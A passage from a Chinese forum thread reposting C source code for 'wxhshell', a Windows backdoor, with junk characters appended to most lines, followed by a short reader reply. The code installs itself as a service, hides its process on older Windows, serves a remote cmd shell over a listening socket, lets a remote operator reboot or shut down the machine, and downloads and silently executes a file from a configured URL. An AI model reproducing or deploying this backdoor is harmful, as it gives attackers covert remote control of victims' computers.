  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kKil] L  
  } bsgrg  
  else { v#o<. Ig  
$H2HVJ  
    switch(cmd[0]) { _ ZC[h~9H  
  a~"<lzu|$  
  // 帮助 _M9-n  
  case '?': { 7l|D!`BS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v|K<3@J  
    break; 2[Q/|D}}|  
  } L2m~ GnP|?  
  // 安装 u=9)A9  
  case 'i': { a<ztA:xt|1  
    if(Install()) ]eD5It\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~f:jI1(}  
    else RmcQGQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^fH:pV  
    break; -+w^"RBV  
    } XVNJ3/  
  // 卸载 GO=3<Q{;  
  case 'r': { )OgQ&,#  
    if(Uninstall()) D?< R5zp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c DO<z  
    else dLIZ)16&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~76qFZe-  
    break; *g;4?_f  
    } 0'O*Y ]h+  
  // 显示 wxhshell 所在路径 .P>-Fh,_p  
  case 'p': { K%/:V  
    char svExeFile[MAX_PATH]; 6fr@y=s2:  
    strcpy(svExeFile,"\n\r"); 'AjDB:Mt$  
      strcat(svExeFile,ExeFile); UM QsYD)  
        send(wsh,svExeFile,strlen(svExeFile),0); 56Gc[<nR  
    break; ("$ ,FRTQ:  
    } BV`,~n:  
  // 重启 bcCCvV}6WZ  
  case 'b': { H^\2,x Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sHi *\  
    if(Boot(REBOOT)) `OWw<6`k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U)g2 7*7  
    else { ;mYj`/Yj  
    closesocket(wsh); c _faW  
    ExitThread(0); "Ooc;xD3<  
    } (aa}0r5  
    break; AyUiX2=w1  
    } g0 NSy3t  
  // 关机 [#hoW"'Q9  
  case 'd': { ( @y te  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QY]G+3W  
    if(Boot(SHUTDOWN)) 3vK,vu q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c5e  wG  
    else { [~_()i=Y  
    closesocket(wsh); $pO gFA1'  
    ExitThread(0); +bv-!rf  
    } 4fp]z9Y  
    break; GDUOUl&  
    } bRzw.(k0`r  
  // 获取shell \L@DDK|"`6  
  case 's': { ]E/~PV  
    CmdShell(wsh); 3] u[NR  
    closesocket(wsh); <h7FS90S  
    ExitThread(0); TUaW'  
    break; "X7;^yY  
  } Q lg~S1D_v  
  // 退出 39+6ZTqx  
  case 'x': { "\l O1D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %]15=7#'y  
    CloseIt(wsh); 5/>W(,5}  
    break; PF4"J^V  
    } F:o<E 42  
  // 离开 Qso"jYl<  
  case 'q': { hn@T ]k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D ^~G(m;-  
    closesocket(wsh); yd-Kg zm8n  
    WSACleanup(); 1VD8y_tC  
    exit(1); }&h* bim  
    break; @h&crI[c  
        } ?U PZ49y  
  } jg7 WMH"`  
  } e<;^P(g`E  
68k  
  // 提示信息 _,m|gr ,S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XA*sBf  
} #~Z55 D_  
  } !y{t}|U/d  
wC~ra:/?:7  
  return; 4tb y N  
} q0l=S+0  
aN/0'V|&ym  
// shell模块句柄 z :_o3W.E  
int CmdShell(SOCKET sock) U=a'(fX  
{ #r ;;d(  
STARTUPINFO si; 10 D6fkjf  
ZeroMemory(&si,sizeof(si)); GvCB3z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8 FqhSzw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1sT%g}w@|  
PROCESS_INFORMATION ProcessInfo; |Qe#[Q7  
char cmdline[]="cmd"; JXBTd=r_oM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Bq3O58+  
  return 0; RrPo89o  
} +TQMA >@g<  
!k= ~5)x  
// 自身启动模式 TL?(0]H fe  
int StartFromService(void) GWU"zWli]z  
{ W]t!I}yPR  
typedef struct cxNb!G  
{ ba-J-G@YW  
  DWORD ExitStatus; 0gEtEH+  
  DWORD PebBaseAddress; <e s>FD  
  DWORD AffinityMask; lOc!KZHUp  
  DWORD BasePriority; Y8^pgv  
  ULONG UniqueProcessId; OZ /!= ;  
  ULONG InheritedFromUniqueProcessId; keBf^NY  
}   PROCESS_BASIC_INFORMATION; A* =r~T5B  
Y8Bc &q}  
PROCNTQSIP NtQueryInformationProcess; hLZ<h7:  
aq|R?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 38[ko 3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gw0_M&  
2'38(wXn#  
  HANDLE             hProcess; mF?GQls`  
  PROCESS_BASIC_INFORMATION pbi; -666|pA  
]ZB^Hi_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z  DP  
  if(NULL == hInst ) return 0; .)zX<~,  
Wxi|(}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4K(AXk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R>ak 3Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !2R<T/9~  
n8!qz:z/  
  if (!NtQueryInformationProcess) return 0; QX'EMyK$  
0x-58i0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "0nT:!BZ  
  if(!hProcess) return 0; XYOPX>$T  
qJQ!e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BDeX5/`U#  
#s!q(Rc  
  CloseHandle(hProcess); y~w -z4  
JMUk=p<\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B4<W%lm  
if(hProcess==NULL) return 0; '>}dqp{Wr  
[&Z3+/lR*  
HMODULE hMod; #DN5S#Ic  
char procName[255]; {x+"Ru~7,  
unsigned long cbNeeded; ^+ hJ& 9W  
]$StbBP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); : *~}\M*  
8+L,a_q-  
  CloseHandle(hProcess); #9{9T"ed  
9'qU4I  
if(strstr(procName,"services")) return 1; // 以服务启动 Y SvZ7G(m>  
4@qKML  
  return 0; // 注册表启动 C;T:'Uws  
} =*AAXNs@3  
y}fF<qih'>  
// 主模块 yN0!uzdW*  
int StartWxhshell(LPSTR lpCmdLine) AX Y.80+  
{ T4OH,^J  
  SOCKET wsl; = }&@XRLJ  
BOOL val=TRUE; ]y4(WG;:  
  int port=0; 3c"$@W:>  
  struct sockaddr_in door; g=*`6@_=  
_:: q S!  
  if(wscfg.ws_autoins) Install(); #SHmAB  
Xm|Uz`A;  
port=atoi(lpCmdLine); f1a >C  
Myl!tXawe8  
if(port<=0) port=wscfg.ws_port; %7X<:f|N8x  
\WDL?(G<  
  WSADATA data; $Vi[195]2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /-#1ys#F=  
)w{bT]   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^ lUV^%f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d,Fj|}S  
  door.sin_family = AF_INET; oBA]qI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %~V+wqu  
  door.sin_port = htons(port); 1N `1~y  
Wz}8O]#/.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ];-DqK'  
closesocket(wsl); GAZTCkB"  
return 1; [3yzVcr~4  
} 4k HFfc  
RGeM.  
  if(listen(wsl,2) == INVALID_SOCKET) { :QndeUw  
closesocket(wsl); GTj=R$%09  
return 1; o]&w"3vOP0  
} K/2k/\Jk[_  
  Wxhshell(wsl); d6$,iw@>^  
  WSACleanup(); 14[+PoF^A  
`]Uu`b  
return 0; 69 PTo  
'f#i@$|]  
} +<G |Ru-  
p19[qy~.  
// 以NT服务方式启动 @>wD`<U|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j|`6[93MG  
{ sHqs)@D  
DWORD   status = 0; fp jy[$8  
  DWORD   specificError = 0xfffffff; #Ub"Ii  
Bs@!S?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6@7K\${  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hi{#HXa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c)d*[OI8  
  serviceStatus.dwWin32ExitCode     = 0; v^Eg ,&(  
  serviceStatus.dwServiceSpecificExitCode = 0; jRswGMx  
  serviceStatus.dwCheckPoint       = 0; &C~R*  
  serviceStatus.dwWaitHint       = 0; /Hox]r]'e  
iqzl(9o.D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sr0.4VU1  
  if (hServiceStatusHandle==0) return; F{#m~4O  
LQ,RQ~!  
status = GetLastError(); dLtSa\2Hn  
  if (status!=NO_ERROR) jV(\]g"/=  
{ nkKiYr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~?V+^<P  
    serviceStatus.dwCheckPoint       = 0; ?_\t7f  
    serviceStatus.dwWaitHint       = 0; >^1|Mg/!>  
    serviceStatus.dwWin32ExitCode     = status; hSxlj7Eo^T  
    serviceStatus.dwServiceSpecificExitCode = specificError; R W= <EF&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &1O!guq%  
    return; 9Tgl/}q)  
  } /5:f[-\s  
i+/:^tc;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Ir_:lk  
  serviceStatus.dwCheckPoint       = 0; $/\b`ID  
  serviceStatus.dwWaitHint       = 0; T ;Ga G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NDw+bR-  
} 59?@55  
-#=y   
// 处理NT服务事件,比如:启动、停止 .k{omr&Dy5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |G2hm8 Y  
{ xwjim7# _:  
switch(fdwControl) 1E(~x;*)  
{ N30w^W&  
case SERVICE_CONTROL_STOP: %+WIv+ <  
  serviceStatus.dwWin32ExitCode = 0; 'Zq$ W]i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j3Ng] @N  
  serviceStatus.dwCheckPoint   = 0;  #RE  
  serviceStatus.dwWaitHint     = 0; V#j|_N1hm  
  { K3eYeXV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w#?@ulr]d  
  } 8q)wT0A~  
  return; T Y|5O! <  
case SERVICE_CONTROL_PAUSE: IrJPP2Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PGT*4r21  
  break; @W\y#5"B  
case SERVICE_CONTROL_CONTINUE: #n=b*.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kzA%.bP|  
  break; U'pm5Mc\q  
case SERVICE_CONTROL_INTERROGATE: Zk#^H*jgx  
  break; z3l= aAw8  
}; &*G+-cF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mhp&; Q9  
} QN%w\ JXS  
?/mkFDN  
// 标准应用程序主函数 V:M$-6jv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (S :+#v  
{ traJub  
oo{5 :  
// 获取操作系统版本 \z}/=Qgc  
OsIsNt=GetOsVer(); ]!>ThBMa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~|j:xM(i  
9N H"Ik*  
  // 从命令行安装 6E9y[ %+  
  if(strpbrk(lpCmdLine,"iI")) Install(); )P6n,\  
NLe+  
  // 下载执行文件 'xNPy =#  
if(wscfg.ws_downexe) { b\/:-][  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tK<GU.+  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9/lCW  
} QjW7XVxB#N  
@PXb^x#k  
if(!OsIsNt) { G)(\!0pNZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 4<S*gu*W  
HideProc(); PZ/gD  
StartWxhshell(lpCmdLine); %G%##wv:  
} *7"R[!9  
else > ,L'A;c}  
  if(StartFromService()) MC.,n$O}6  
  // 以服务方式启动 H].G%,2'  
  StartServiceCtrlDispatcher(DispatchTable); UcCkn7}  
else s*R \!L  
  // 普通方式启动 JPS7L}Kv  
  StartWxhshell(lpCmdLine); MCamc  
.xtjB8gc  
return 0; B/IPG~aMEZ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八